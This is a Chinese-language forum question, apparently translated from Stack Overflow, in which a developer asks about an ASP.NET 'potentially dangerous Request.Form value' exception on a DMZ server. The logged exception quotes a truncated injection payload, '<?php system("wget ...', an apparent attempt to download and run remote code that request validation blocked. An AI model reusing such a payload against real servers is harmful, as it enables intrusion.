asp.net - ASP.net 从客户端检测到潜在危险的 request.form 值

Question

我的 dmz 服务器上的 ASP.net Web 应用程序出现异常。不太确定它是什么原因造成的以及如何处理错误这是我正在记录的异常

Exception occured in: System.Web.HttpRequest.ValidateString
Message: A potentially dangerous Request.Form value was detected from the client (="<?php system("wget 2...").
Source: System.Web
Stack Trace: at System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.get_Form()
   at System.Web.UI.PageRequestManager.IsAsyncPostBackRequest(HttpRequestBase request)
   at System.Web.Handlers.ScriptModule.HttpResponse_Redirecting(Object sender, EventArgs e)
   at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
   at System.Web.Security.FormsAuthenticationModule.OnLeave(Object source, EventArgs eventArgs)
   at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
   at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)

我尝试复制并粘贴到文本框中，看看这是否是复制错误的方法。任何帮助将不胜感激。